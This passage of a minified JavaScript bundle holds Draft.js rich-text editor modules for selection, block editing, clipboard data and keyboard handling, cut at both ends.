Array.from(t.getClientRects())};t.exports=o},64994:(t,e,r)=>{"use strict";var n=r(73759);t.exports=function(t,e){var r=[];return t.findEntityRanges((function(t){return t.getEntity()===e}),(function(t,e){r.push({start:t,end:e})})),r.length||n(!1),r}},69769:(t,e,r)=>{"use strict";var n=r(4856),i=r(73759),o=n.isBrowser("IE <= 9");t.exports=function(t){var e,r=null;return!o&&document.implementation&&document.implementation.createHTMLDocument&&((e=document.implementation.createHTMLDocument("foo")).documentElement||i(!1),e.documentElement.innerHTML=t,r=e.getElementsByTagName("body")[0]),r}},93578:(t,e,r)=>{"use strict";var n=r(84368);t.exports=function t(e){if(n(e)){var r=e,i=r.getAttribute("data-offset-key");if(i)return i;for(var o=0;o<r.childNodes.length;o++){var a=t(r.childNodes[o]);if(a)return a}}return null}},21738:(t,e,r)=>{"use strict";var n=r(73759),i=/\.textClipping$/,o={"text/plain":!0,"text/html":!0,"text/rtf":!0};t.exports=function(t,e){var a=0,s=[];t.forEach((function(u){!function(t,e){if(!r.g.FileReader||t.type&&!(t.type in o))e("");else{if(""===t.type){var a="";return i.test(t.name)&&(a=t.name.replace(i,"")),void e(a)}var s=new FileReader;s.onload=function(){var t=s.result;"string"!=typeof t&&n(!1),e(t)},s.onerror=function(){e("")},s.readAsText(t)}}(u,(function(r){a++,r&&s.push(r.slice(0,5e3)),a==t.length&&e(s.join("\r"))}))}))}},94486:(t,e,r)=>{"use strict";var n=r(22146),i=r(22045);t.exports=function(t,e,r,o,a){var s=i(t.getSelection());if(!e||!o)return s;var u=n.decode(e),c=u.blockKey,l=t.getBlockTree(c),f=l&&l.getIn([u.decoratorKey,"leaves",u.leafKey]),p=n.decode(o),h=p.blockKey,d=t.getBlockTree(h),g=d&&d.getIn([p.decoratorKey,"leaves",p.leafKey]);if(!f||!g)return s;var y=f.get("start"),v=g.get("start"),m=f?y+r:null,_=g?v+a:null;if(s.getAnchorKey()===c&&s.getAnchorOffset()===m&&s.getFocusKey()===h&&s.getFocusOffset()===_)return s;var b=!1;if(c===h){var S=f.get("end"),w=g.get("end");b=v===y&&w===S?a<r:v<y}else b=t.getCurrentContent().getBlockMap().keySeq().skipUntil((function(t){return t===c||t===h})).first()===h;return s.merge({anchorKey:c,anchorOffset:m,focusKey:h,focusOffset:_,isBackward:b})}},96629:(t,e,r)=>{"use strict";var n=r(98056);t.exports=function(t){var e=t.getSelection();if(!e.rangeCount)return null;var r=e.getRangeAt(0),i=n(r),o=i.top,a=i.right,s=i.bottom,u=i.left;return 0===o&&0===a&&0===s&&0===u?null:i}},48083:t=>{"use strict";t.exports=function(t){return t&&t.ownerDocument&&t.ownerDocument.defaultView?t.ownerDocument.defaultView:window}},68642:t=>{"use strict";t.exports=function(t){return!("undefined"==typeof window||!window.__DRAFT_GKX||!window.__DRAFT_GKX[t])}},54542:(t,e,r)=>{"use strict";var n=r(10329),i=r(67953),o=r(43393),a=r(40779),s=r(73759),u=r(98555),c=o.List;t.exports=function(t,e,r){var o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"REPLACE_WITH_NEW_DATA";e.isCollapsed()||s(!1);var l=t.getBlockMap(),f=u(r),p=e.getStartKey(),h=e.getStartOffset(),d=l.get(p);return d instanceof i&&(d.getChildKeys().isEmpty()||s(!1)),1===f.size?function(t,e,r,n,i,o){var s=arguments.length>6&&void 0!==arguments[6]?arguments[6]:"REPLACE_WITH_NEW_DATA",u=r.get(i),c=u.getText(),l=u.getCharacterList(),f=i,p=o+n.getText().length,h=null;switch(s){case"MERGE_OLD_DATA_TO_NEW_DATA":h=n.getData().merge(u.getData());break;case"REPLACE_WITH_NEW_DATA":h=n.getData()}var d=u.getType();c&&"unstyled"===d&&(d=n.getType());var g=u.merge({text:c.slice(0,o)+n.getText()+c.slice(o),characterList:a(l,n.getCharacterList(),o),type:d,data:h});return t.merge({blockMap:r.set(i,g),selectionBefore:e,selectionAfter:e.merge({anchorKey:f,anchorOffset:p,focusKey:f,focusOffset:p,isBackward:!1})})}(t,e,l,f.first(),p,h,o):function(t,e,r,o,a,s){var u=r.first()instanceof i,l=[],f=o.size,p=r.get(a),h=o.first(),d=o.last(),g=d.getLength(),y=d.getKey(),v=u&&(!p.getChildKeys().isEmpty()||!h.getChildKeys().isEmpty());r.forEach((function(t,e){e===a?(v?l.push(t):l.push(function(t,e,r){var n=t.getText(),i=t.getCharacterList(),o=n.slice(0,e),a=i.slice(0,e),s=r.first();return t.merge({text:o+s.getText(),characterList:a.concat(s.getCharacterList()),type:o?t.getType():s.getType(),data:s.getData()})}(t,s,o)),o.slice(v?0:1,f-1).forEach((function(t){return l.push(t)})),l.push(function(t,e,r){var n=t.getText(),i=t.getCharacterList(),o=n.length,a=n.slice(e,o),s=i.slice(e,o),u=r.last();return u.merge({text:u.getText()+a,characterList:u.getCharacterList().concat(s),data:u.getData()})}(t,s,o))):l.push(t)}));var m=n.createFromArray(l);return u&&(m=function(t,e,r,n){return t.withMutations((function(e){var i=r.getKey(),o=n.getKey(),a=r.getNextSiblingKey(),s=r.getParentKey(),u=function(t,e){var r=t.getKey(),n=t,i=[];for(e.get(r)&&i.push(r);n&&n.getNextSiblingKey();){var o=n.getNextSiblingKey();if(!o)break;i.push(o),n=e.get(o)}return i}(n,t),l=u[u.length-1];if(e.get(o)?(e.setIn([i,"nextSibling"],o),e.setIn([o,"prevSibling"],i)):(e.setIn([i,"nextSibling"],n.getNextSiblingKey()),e.setIn([n.getNextSiblingKey(),"prevSibling"],i)),e.setIn([l,"nextSibling"],a),a&&e.setIn([a,"prevSibling"],l),u.forEach((function(t){return e.setIn([t,"parent"],s)})),s){var f=t.get(s).getChildKeys(),p=f.indexOf(i)+1,h=f.toArray();h.splice.apply(h,[p,0].concat(u)),e.setIn([s,"children"],c(h))}}))}(m,0,p,h)),t.merge({blockMap:m,selectionBefore:e,selectionAfter:e.merge({anchorKey:y,anchorOffset:g,focusKey:y,focusOffset:g,isBackward:!1})})}(t,e,l,f,p,h)}},40779:t=>{"use strict";t.exports=function(t,e,r){var n=t;if(r===n.count())e.forEach((function(t){n=n.push(t)}));else if(0===r)e.reverse().forEach((function(t){n=n.unshift(t)}));else{var i=n.slice(0,r),o=n.slice(r);n=i.concat(e,o).toList()}return n}},18467:(t,e,r)=>{"use strict";var n=r(43393),i=r(40779),o=r(73759),a=n.Repeat;t.exports=function(t,e,r,n){e.isCollapsed()||o(!1);var s=null;if(null!=r&&(s=r.length),null==s||0===s)return t;var u=t.getBlockMap(),c=e.getStartKey(),l=e.getStartOffset(),f=u.get(c),p=f.getText(),h=f.merge({text:p.slice(0,l)+r+p.slice(l,f.getLength()),characterList:i(f.getCharacterList(),a(n,s).toList(),l)}),d=l+s;return t.merge({blockMap:u.set(c,h),selectionAfter:e.merge({anchorOffset:d,focusOffset:d})})}},84368:t=>{"use strict";t.exports=function(t){return!(!t||!t.ownerDocument)&&t.nodeType===Node.ELEMENT_NODE}},42177:t=>{"use strict";t.exports=function(t){return"handled"===t||!0===t}},78241:(t,e,r)=>{"use strict";var n=r(84368);t.exports=function(t){return!(!t||!t.ownerDocument)&&n(t)&&"A"===t.nodeName}},16581:(t,e,r)=>{"use strict";var n=r(84368);t.exports=function(t){return!(!t||!t.ownerDocument)&&n(t)&&"BR"===t.nodeName}},20717:t=>{"use strict";t.exports=function(t){return!(!t||!t.ownerDocument)&&(t.ownerDocument.defaultView?t instanceof t.ownerDocument.defaultView.HTMLElement:t instanceof HTMLElement)}},35039:(t,e,r)=>{"use strict";var n=r(84368);t.exports=function(t){return!(!t||!t.ownerDocument)&&n(t)&&"IMG"===t.nodeName}},80809:t=>{"use strict";t.exports=function(t){if(!t||!("ownerDocument"in t))return!1;if("ownerDocument"in t){var e=t;if(!e.ownerDocument.defaultView)return e instanceof Node;if(e instanceof e.ownerDocument.defaultView.Node)return!0}return!1}},40258:t=>{"use strict";t.exports=function(t){var e=t.getSelection(),r=e.getAnchorKey(),n=t.getBlockTree(r),i=e.getStartOffset(),o=!1;return n.some((function(t){return i===t.get("start")?(o=!0,!0):i<t.get("end")&&t.get("leaves").some((function(t){var e=t.get("start");return i===e&&(o=!0,!0)}))})),o}},17797:(t,e,r)=>{"use strict";var n=r(25399);t.exports=function(t){return t.which===n.RETURN&&(t.getModifierState("Shift")||t.getModifierState("Alt")||t.getModifierState("Control"))}},49779:(t,e,r)=>{"use strict";var n=r(14289),i=r(88182),o=r(8101),a=r(53268),s=r(14730);t.exports=function(t,e){var r=s(t,(function(t){var r=t.getSelection();if(r.isCollapsed()&&0===r.getAnchorOffset())return a(t,1);var n=e.currentTarget.ownerDocument.defaultView.getSelection().getRangeAt(0);return n=i(n),o(t,null,n.endContainer,n.endOffset,n.startContainer,n.startOffset).selectionState}),"backward");return r===t.getCurrentContent()?t:n.push(t,r,"remove-range")}},51050:(t,e,r)=>{"use strict";var n=r(73932),i=r(14289),o=r(53268),a=r(14730);t.exports=function(t){var e=a(t,(function(t){var e=t.getSelection(),r=e.getStartOffset();if(0===r)return o(t,1);var i=e.getStartKey(),a=t.getCurrentContent().getBlockForKey(i).getText().slice(0,r),s=n.getBackward(a);return o(t,s.length||1)}),"backward");return e===t.getCurrentContent()?t:i.push(t,e,"remove-range")}},13767:(t,e,r)=>{"use strict";var n=r(73932),i=r(14289),o=r(19417),a=r(14730);t.exports=function(t){var e=a(t,(function(t){var e=t.getSelection(),r=e.getStartOffset(),i=e.getStartKey(),a=t.getCurrentContent().getBlockForKey(i).getText().slice(r),s=n.getForward(a);return o(t,s.length||1)}),"forward");return e===t.getCurrentContent()?t:i.push(t,e,"remove-range")}},77978:(t,e,r)=>{"use strict";var n=r(42307),i=r(14289);t.exports=function(t){var e=n.splitBlock(t.getCurrentContent(),t.getSelection());return i.push(t,e,"split-block")}},67217:(t,e,r)=>{"use strict";var n=r(14289);t.exports=function(t){var e=t.getSelection(),r=e.getEndKey(),i=t.getCurrentContent().getBlockForKey(r).getLength();return n.set(t,{selection:e.merge({anchorKey:r,anchorOffset:i,focusKey:r,focusOffset:i,isBackward:!1}),forceSelection:!0})}},8425:(t,e,r)=>{"use strict";var n=r(14289);t.exports=function(t){var e=t.getSelection(),r=e.getStartKey();return n.set(t,{selection:e.merge({anchorKey:r,anchorOffset:0,focusKey:r,focusOffset:0,isBackward:!1}),forceSelection:!0})}},62800:(t,e,r)=>{"use strict";var n=r(14289),i=r(38935),o=r(53268),a=r(14730);t.exports=function(t){var e=a(t,(function(t){var e=t.getSelection(),r=t.getCurrentContent(),n=e.getAnchorKey(),a=e.getAnchorOffset(),s=r.getBlockForKey(n).getText()[a-1];return o(t,s?i.getUTF16Length(s,0):1)}),"backward");if(e===t.getCurrentContent())return t;var r=t.getSelection();return n.push(t,e.set("selectionBefore",r),r.isCollapsed()?"backspace-character":"remove-range")}},13998:(t,e,r)=>{"use strict";var n=r(14289),i=r(38935),o=r(19417),a=r(14730);t.exports=function(t){var e=a(t,(function(t){var e=t.getSelection(),r=t.getCurrentContent(),n=e.getAnchorKey(),a=e.getAnchorOffset(),s=r.getBlockForKey(n).getText()[a];return o(t,s?i.getUTF16Length(s,0):1)}),"forward");if(e===t.getCurrentContent())return t;var r=t.getSelection();return n.push(t,e.set("selectionBefore",r),r.isCollapsed()?"delete-character":"remove-range")}},53318:(t,e,r)=>{"use strict";var n=r(42307),i=r(14289),o=r(88687);t.exports=function(t){var e=t.getSelection();if(!e.isCollapsed())return t;var r=e.getAnchorOffset();if(0===r)return t;var a,s,u=e.getAnchorKey(),c=t.getCurrentContent(),l=c.getBlockForKey(u).getLength();if(l<=1)return t;r===l?(a=e.set("anchorOffset",r-1),s=e):s=(a=e.set("focusOffset",r+1)).set("anchorOffset",r+1);var f=o(c,a),p=n.removeRange(c,a,"backward"),h=p.getSelectionAfter(),d=h.getAnchorOffset()-1,g=h.merge({anchorOffset:d,focusOffset:d}),y=n.replaceWithFragment(p,g,f),v=i.push(t,y,"insert-fragment");return i.acceptSelection(v,s)}},87051:(t,e,r)=>{"use strict";var n=r(14289);t.exports=function(t,e,r){var i=n.undo(e);if("spellcheck-change"!==e.getLastChangeType())t.preventDefault(),e.getNativelyRenderedContent()?(r(n.set(e,{nativelyRenderedContent:null})),setTimeout((function(){r(i)}),0)):r(i);else{var o=i.getCurrentContent();r(n.set(i,{nativelyRenderedContent:o}))}}},57429:(t,e,r)=>{"use strict";var n=r(43393).Map;t.exports=function(t,e,r){var i=e.getStartKey(),o=e.getEndKey(),a=t.getBlockMap(),s=a.toSeq().skipUntil((function(t,e){return e===i})).takeUntil((function(t,e){return e===o})).concat(n([[o,a.get(o)]])).map(r);return t.merge({blockMap:a.merge(s),selectionBefore:e,selectionAfter:e})}},61173:(t,e,r)=>{"use strict";var n=r(67953),i=r(39506),o=r(43393),a=r(73759),s=o.OrderedMap,u=o.List,c=function(t,e,r){if(t){var n=e.get(t);n&&e.set(t,r(n))}},l=function(t,e,r,n,i){if(!i)return t;var o="after"===n,a=e.getKey(),s=r.getKey(),l=e.getParentKey(),f=e.getNextSiblingKey(),p=e.getPrevSiblingKey(),h=r.getParentKey(),d=o?r.getNextSiblingKey():s,g=o?s:r.getPrevSiblingKey();return t.withMutations((function(t){c(l,t,(function(t){var e=t.getChildKeys();return t.merge({children:e.delete(e.indexOf(a))})})),c(p,t,(function(t){return t.merge({nextSibling:f})})),c(f,t,(function(t){return t.merge({prevSibling:p})})),c(d,t,(function(t){return t.merge({prevSibling:a})})),c(g,t,(function(t){return t.merge({nextSibling:a})})),c(h,t,(function(t){var e=t.getChildKeys(),r=e.indexOf(s),n=o?r+1:0!==r?r-1:0,i=e.toArray();return i.splice(n,0,a),t.merge({children:u(i)})})),c(a,t,(function(t){return t.merge({nextSibling:d,prevSibling:g,parent:h})}))}))};t.exports=function(t,e,r,o){"replace"===o&&a(!1);var u=r.getKey(),c=e.getKey();c===u&&a(!1);var f=t.getBlockMap(),p=e instanceof n,h=[e],d=f.delete(c);p&&(h=[],d=f.withMutations((function(t){var r=e.getNextSiblingKey(),n=i(e,t);t.toSeq().skipUntil((function(t){return t.getKey()===c})).takeWhile((function(t){var e=t.getKey(),i=e===c,o=r&&e!==r,a=!r&&t.getParentKey()&&(!n||e!==n);return!!(i||o||a)})).forEach((function(e){h.push(e),t.delete(e.getKey())}))})));var g=d.toSeq().takeUntil((function(t){return t===r})),y=d.toSeq().skipUntil((function(t){return t===r})).skip(1),v=h.map((function(t){return[t.getKey(),t]})),m=s();if("before"===o){var _=t.getBlockBefore(u);_&&_.getKey()===e.getKey()&&a(!1),m=g.concat([].concat(v,[[u,r]]),y).toOrderedMap()}else if("after"===o){var b=t.getBlockAfter(u);b&&b.getKey()===c&&a(!1),m=g.concat([[u,r]].concat(v),y).toOrderedMap()}return t.merge({blockMap:l(m,e,r,o,p),selectionBefore:t.getSelectionAfter(),selectionAfter:t.getSelectionAfter().merge({anchorKey:c,focusKey:c})})}},53268:(t,e,r)=>{"use strict";r(63620),t.exports=function(t,e){var r=t.getSelection(),n=t.getCurrentContent(),i=r.getStartKey(),o=r.getStartOffset(),a=i,s=0;if(e>o){var u=n.getKeyBefore(i);null==u?a=i:(a=u,s=n.getBlockForKey(u).getText().length)}else s=o-e;return r.merge({focusKey:a,focusOffset:s,isBackward:!0})}},19417:(t,e,r)=>{"use strict";r(63620),t.exports=function(t,e){var r,n=t.getSelection(),i=n.getStartKey(),o=n.getStartOffset(),a=t.getCurrentContent(),s=i;return e>a.getBlockForKey(i).getText().length-o?(s=a.getKeyAfter(i),r=0):r=o+e,n.merge({focusKey:s,focusOffset:r})}},98555:(t,e,r)=>{"use strict";var n=r(67953),i=r(25027),o=r(43393).OrderedMap;t.exports=function(t){return t.first()instanceof n?function(t){var e,r={};return o(t.withMutations((function(t){t.forEach((function(n,o){var a=n.getKey(),s=n.getNextSiblingKey(),u=n.getPrevSiblingKey(),c=n.getChildKeys(),l=n.getParentKey(),f=i();if(r[a]=f,s&&(t.get(s)?t.setIn([s,"prevSibling"],f):t.setIn([a,"nextSibling"],null)),u&&(t.get(u)?t.setIn([u,"nextSibling"],f):t.setIn([a,"prevSibling"],null)),l&&t.get(l)){var p=t.get(l).getChildKeys();t.setIn([l,"children"],p.set(p.indexOf(n.getKey()),f))}else t.setIn([a,"parent"],null),e&&(t.setIn([e.getKey(),"nextSibling"],f),t.setIn([a,"prevSibling"],r[e.getKey()])),e=t.get(a);c.forEach((function(e){t.get(e)?t.setIn([e,"parent"],f):t.setIn([a,"children"],n.getChildKeys().filter((function(t){return t!==e})))}))}))})).toArray().map((function(t){return[r[t.getKey()],t.set("key",r[t.getKey()])]})))}(t):function(t){return o(t.toArray().map((function(t){var e=i();return[e,t.set("key",e)]})))}(t)}},14017:(t,e,r)=>{"use strict";var n=r(4516),i=r(29407),o=r(73759);function a(t,e,r){var a=e.getCharacterList(),s=r>0?a.get(r-1):void 0,u=r<a.count()?a.get(r):void 0,c=s?s.getEntity():void 0,l=u?u.getEntity():void 0;if(l&&l===c&&"MUTABLE"!==t.__get(l).getMutability()){for(var f,p=function(t,e,r){var n;return i(t,(function(t,e){return t.getEntity()===e.getEntity()}),(function(t){return t.getEntity()===e}),(function(t,e){t<=r&&e>=r&&(n={start:t,end:e})})),"object"!=typeof n&&o(!1),n}(a,l,r),h=p.start,d=p.end;h<d;)f=a.get(h),a=a.set(h,n.applyEntity(f,null)),h++;return e.set("characterList",a)}return e}t.exports=function(t,e){var r=t.getBlockMap(),n=t.getEntityMap(),i={},o=e.getStartKey(),s=e.getStartOffset(),u=r.get(o),c=a(n,u,s);c!==u&&(i[o]=c);var l=e.getEndKey(),f=e.getEndOffset(),p=r.get(l);o===l&&(p=c);var h=a(n,p,f);return h!==p&&(i[l]=h),Object.keys(i).length?t.merge({blockMap:r.merge(i),selectionAfter:e}):t.set("selectionAfter",e)}},54879:(t,e,r)=>{"use strict";var n=r(67953),i=r(39506),o=r(43393),a=(o.List,o.Map),s=function(t,e,r){if(t){var n=e.get(t);n&&e.set(t,r(n))}},u=function(t,e){var r=[];if(!t)return r;for(var n=e.get(t);n&&n.getParentKey();){var i=n.getParentKey();i&&r.push(i),n=i?e.get(i):null}return r},c=function(t,e,r){if(!t)return null;for(var n=r.get(t.getKey()).getNextSiblingKey();n&&!e.get(n);)n=r.get(n).getNextSiblingKey()||null;return n},l=function(t,e,r){if(!t)return null;for(var n=r.get(t.getKey()).getPrevSiblingKey();n&&!e.get(n);)n=r.get(n).getPrevSiblingKey()||null;return n};t.exports=function(t,e){if(e.isCollapsed())return t;var r,o=t.getBlockMap(),f=e.getStartKey(),p=e.getStartOffset(),h=e.getEndKey(),d=e.getEndOffset(),g=o.get(f),y=o.get(h),v=g instanceof n,m=[];if(v){var _=y.getChildKeys(),b=u(h,o);y.getNextSiblingKey()&&(m=m.concat(b)),_.isEmpty()||(m=m.concat(b.concat([h]))),m=m.concat(u(i(y,o),o))}r=g===y?function(t,e,r){if(0===e)for(;e<r;)t=t.shift(),e++;else if(r===t.count())for(;r>e;)t=t.pop(),r--;else{var n=t.slice(0,e),i=t.slice(r);t=n.concat(i).toList()}return t}(g.getCharacterList(),p,d):g.getCharacterList().slice(0,p).concat(y.getCharacterList().slice(d));var S=g.merge({text:g.getText().slice(0,p)+y.getText().slice(d),characterList:r}),w=v&&0===p&&0===d&&y.getParentKey()===f&&null==y.getPrevSiblingKey()?a([[f,null]]):o.toSeq().skipUntil((function(t,e){return e===f})).takeUntil((function(t,e){return e===h})).filter((function(t,e){return-1===m.indexOf(e)})).concat(a([[h,null]])).map((function(t,e){return e===f?S:null})),x=o.merge(w).filter((function(t){return!!t}));return v&&g!==y&&(x=function(t,e,r,n){return t.withMutations((function(o){if(s(e.getKey(),o,(function(t){return t.merge({nextSibling:c(t,o,n),prevSibling:l(t,o,n)})})),s(r.getKey(),o,(function(t){return t.merge({nextSibling:c(t,o,n),prevSibling:l(t,o,n)})})),u(e.getKey(),n).forEach((function(t){return s(t,o,(function(t){return t.merge({children:t.getChildKeys().filter((function(t){return o.get(t)})),nextSibling:c(t,o,n),prevSibling:l(t,o,n)})}))})),s(e.getNextSiblingKey(),o,(function(t){return t.merge({prevSibling:e.getPrevSiblingKey()})})),s(e.getPrevSiblingKey(),o,(function(t){return t.merge({nextSibling:c(t,o,n)})})),s(r.getNextSiblingKey(),o,(function(t){return t.merge({prevSibling:l(t,o,n)})})),s(r.getPrevSiblingKey(),o,(function(t){return t.merge({nextSibling:r.getNextSiblingKey()})})),u(r.getKey(),n).forEach((function(t){s(t,o,(function(t){return t.merge({children:t.getChildKeys().filter((function(t){return o.get(t)})),nextSibling:c(t,o,n),prevSibling:l(t,o,n)})}))})),function(t,e){var r=[];if(!t)return r;for(var n=i(t,e);n&&e.get(n);){var o=e.get(n);r.push(n),n=o.getParentKey()?i(o,e):null}return r}(r,n).forEach((function(t){return s(t,o,(function(t){return t.merge({nextSibling:c(t,o,n),prevSibling:l(t,o,n)})}))})),null==t.get(e.getKey())&&null!=t.get(r.getKey())&&r.getParentKey()===e.getKey()&&null==r.getPrevSiblingKey()){var a=e.getPrevSiblingKey();s(r.getKey(),o,(function(t){return t.merge({prevSibling:a})})),s(a,o,(function(t){return t.merge({nextSibling:r.getKey()})}));var f=a?t.get(a):null,p=f?f.getParentKey():null;if(e.getChildKeys().forEach((function(t){s(t,o,(function(t){return t.merge({parent:p})}))})),null!=p){var h=t.get(p);s(p,o,(function(t){return t.merge({children:h.getChildKeys().concat(e.getChildKeys())})}))}s(e.getChildKeys().find((function(e){return null===t.get(e).getNextSiblingKey()})),o,(function(t){return t.merge({nextSibling:e.getNextSiblingKey()})}))}}))}(x,g,y,o)),t.merge({blockMap:x,selectionBefore:e,selectionAfter:e.merge({anchorKey:f,anchorOffset:p,focusKey:f,focusOffset:p,isBackward:!1})})}},14730:(t,e,r)=>{"use strict";var n=r(42307),i=r(68642)("draft_tree_data_support");t.exports=function(t,e,r){var o=t.getSelection(),a=t.getCurrentContent(),s=o,u=o.getAnchorKey(),c=o.getFocusKey(),l=a.getBlockForKey(u);if(i&&"forward"===r&&u!==c)return a;if(o.isCollapsed()){if("forward"===r){if(t.isSelectionAtEndOfContent())return a;if(i&&o.getAnchorOffset()===a.getBlockForKey(u).getLength()){var f=a.getBlockForKey(l.nextSibling);if(!f||0===f.getLength())return a}}else if(t.isSelectionAtStartOfContent())return a;if((s=e(t))===o)return a}return n.removeRange(a,s,r)}},55283:t=>{"use strict";var e=new RegExp("\r","g");t.exports=function(t){return t.replace(e,"")}},45412:(t,e,r)=>{"use strict";var n=r(5880),i=r(97432),o=r(4856),a=r(67476),s=r(31003),u=r(75795),c=r(73759),l=r(84368),f=o.isBrowser("IE");function p(t,e){if(!t)return"[empty]";var r=h(t,e);return r.nodeType===Node.TEXT_NODE?r.textContent:(l(r)||c(!1),r.outerHTML)}function h(t,e){var r=void 0!==e?e(t):[];if(t.nodeType===Node.TEXT_NODE){var n=t.textContent.length;return u(t).createTextNode("[text "+n+(r.length?" | "+r.join(", "):"")+"]")}var i=t.cloneNode();1===i.nodeType&&r.length&&i.setAttribute("data-labels",r.join(", "));for(var o=t.childNodes,a=0;a<o.length;a++)i.appendChild(h(o[a],e));return i}function d(t,e){for(var r=t,n=r;r;){if(l(r)&&n.hasAttribute("contenteditable"))return p(r,e);n=r=r.parentNode}return"Could not find contentEditable parent of node"}function g(t){return null===t.nodeValue?t.childNodes.length:t.nodeValue.length}function y(t,e,r,n){var o=s();if(t.extend&&null!=e&&a(o,e)){r>g(e)&&i.logSelectionStateFailure({anonymizedDom:d(e),extraParams:JSON.stringify({offset:r}),selectionState:JSON.stringify(n.toJS())});var u=e===t.focusNode;try{t.rangeCount>0&&t.extend&&t.extend(e,r)}catch(a){throw i.logSelectionStateFailure({anonymizedDom:d(e,(function(e){var r=[];return e===o&&r.push("active element"),e===t.anchorNode&&r.push("selection anchor node"),e===t.focusNode&&r.push("selection focus node"),r})),extraParams:JSON.stringify({activeElementName:o?o.nodeName:null,nodeIsFocus:e===t.focusNode,nodeWasFocus:u,selectionRangeCount:t.rangeCount,selectionAnchorNodeName:t.anchorNode?t.anchorNode.nodeName:null,selectionAnchorOffset:t.anchorOffset,selectionFocusNodeName:t.focusNode?t.focusNode.nodeName:null,selectionFocusOffset:t.focusOffset,message:a?""+a:null,offset:r},null,2),selectionState:JSON.stringify(n.toJS(),null,2)}),a}}else if(e&&t.rangeCount>0){var c=t.getRangeAt(0);c.setEnd(e,r),t.addRange(c.cloneRange())}}function v(t,e,r,o){var a=u(e).createRange();if(r>g(e)&&(i.logSelectionStateFailure({anonymizedDom:d(e),extraParams:JSON.stringify({offset:r}),selectionState:JSON.stringify(o.toJS())}),n.handleExtensionCausedError()),a.setStart(e,r),f)try{t.addRange(a)}catch(t){}else t.addRange(a)}t.exports={setDraftEditorSelection:function(t,e,r,n,i){var o=u(e);if(a(o.documentElement,e)){var s=o.defaultView.getSelection(),c=t.getAnchorKey(),l=t.getAnchorOffset(),f=t.getFocusKey(),p=t.getFocusOffset(),h=t.getIsBackward();if(!s.extend&&h){var d=c,g=l;c=f,l=p,f=d,p=g,h=!1}var m=c===r&&n<=l&&i>=l,_=f===r&&n<=p&&i>=p;if(m&&_)return s.removeAllRanges(),v(s,e,l-n,t),void y(s,e,p-n,t);if(h){if(_&&(s.removeAllRanges(),v(s,e,p-n,t)),m){var b=s.focusNode,S=s.focusOffset;s.removeAllRanges(),v(s,e,l-n,t),y(s,b,S,t)}}else m&&(s.removeAllRanges(),v(s,e,l-n,t)),_&&y(s,e,p-n,t)}},addFocusToSelection:y}},36043:(t,e,r)=>{"use strict";var n=r(67953),i=r(25027),o=r(43393),a=r(73759),s=r(57429),u=o.List,c=o.Map,l=function(t,e,r){if(t){var n=e.get(t);n&&e.set(t,r(n))}};t.exports=function(t,e){e.isCollapsed()||a(!1);var r=e.getAnchorKey(),o=t.getBlockMap(),f=o.get(r),p=f.getText();if(!p){var h=f.getType();if("unordered-list-item"===h||"ordered-list-item"===h)return s(t,e,(function(t){return t.merge({type:"unstyled",depth:0})}))}var d=e.getAnchorOffset(),g=f.getCharacterList(),y=i(),v=f instanceof n,m=f.merge({text:p.slice(0,d),characterList:g.slice(0,d)}),_=m.merge({key:y,text:p.slice(d),characterList:g.slice(d),data:c()}),b=o.toSeq().takeUntil((function(t){return t===f})),S=o.toSeq().skipUntil((function(t){return t===f})).rest(),w=b.concat([[r,m],[y,_]],S).toOrderedMap();return v&&(f.getChildKeys().isEmpty()||a(!1),w=function(t,e,r){return t.withMutations((function(t){var n=e.getKey(),i=r.getKey();l(e.getParentKey(),t,(function(t){var e=t.getChildKeys(),r=e.indexOf(n)+1,o=e.toArray();return o.splice(r,0,i),t.merge({children:u(o)})})),l(e.getNextSiblingKey(),t,(function(t){return t.merge({prevSibling:i})})),l(n,t,(function(t){return t.merge({nextSibling:i})})),l(i,t,(function(t){return t.merge({prevSibling:n})}))}))}(w,m,_)),t.merge({blockMap:w,selectionBefore:e,selectionAfter:e.merge({anchorKey:y,anchorOffset:0,focusKey:y,focusOffset:0,isBackward:!1})})}},44300:t=>{"use strict";var e=/\r\n?|\n/g;t.exports=function(t){return t.split(e)}},76363:t=>{"use strict";t.exports=function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(t){var e=16*Math.random()|0;return("x"==t?e:3&e|8).toString(16)}))}},44891:(t,e,r)=>{"use strict";var n=r(51006),i=r(89825),o=r(60139),a=new RegExp("\r\n","g"),s={"text/rtf":1,"text/html":1};function u(t){if("file"==t.kind)return t.getAsFile()}var c=function(){function t(t){this.data=t,this.types=t.types?i(t.types):[]}var e=t.prototype;return e.isRichText=function(){return!(!this.getHTML()||!this.getText())||!this.isImage()&&this.types.some((function(t){return s[t]}))},e.getText=function(){var t;return this.data.getData&&(this.types.length?-1!=this.types.indexOf("text/plain")&&(t=this.data.getData("text/plain")):t=this.data.getData("Text")),t?t.replace(a,"\n"):null},e.getHTML=function(){if(this.data.getData){if(!this.types.length)return this.data.getData("Text");if(-1!=this.types.indexOf("text/html"))return this.data.getData("text/html")}},e.isLink=function(){return this.types.some((function(t){return-1!=t.indexOf("Url")||-1!=t.indexOf("text/uri-list")||t.indexOf("text/x-moz-url")}))},e.getLink=function(){return this.data.getData?-1!=this.types.indexOf("text/x-moz-url")?this.data.getData("text/x-moz-url").split("\n")[0]:-1!=this.types.indexOf("text/uri-list")?this.data.getData("text/uri-list"):this.data.getData("url"):null},e.isImage=function(){var t=this.types.some((function(t){return-1!=t.indexOf("application/x-moz-file")}));if(t)return!0;for(var e=this.getFiles(),r=0;r<e.length;r++){var i=e[r].type;if(!n.isImage(i))return!1}return!0},e.getCount=function(){return this.data.hasOwnProperty("items")?this.data.items.length:this.data.hasOwnProperty("mozItemCount")?this.data.mozItemCount:this.data.files?this.data.files.length:null},e.getFiles=function(){return this.data.items?Array.prototype.slice.call(this.data.items).map(u).filter(o.thatReturnsArgument):this.data.files?Array.prototype.slice.call(this.data.files):[]},e.hasFiles=function(){return this.getFiles().length>0},t}();t.exports=c},25399:t=>{"use strict";t.exports={BACKSPACE:8,TAB:9,RETURN:13,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46,COMMA:188,PERIOD:190,A:65,Z:90,ZERO:48,NUMPAD_0:96,NUMPAD_9:105}},51006:t=>{"use strict";var e={isImage:function(t){return"image"===r(t)[0]},isJpeg:function(t){var n=r(t);return e.isImage(t)&&("jpeg"===n[1]||"pjpeg"===n[1])}};function r(t){return t.split("/")}t.exports=e},65994:t=>{"use strict";function 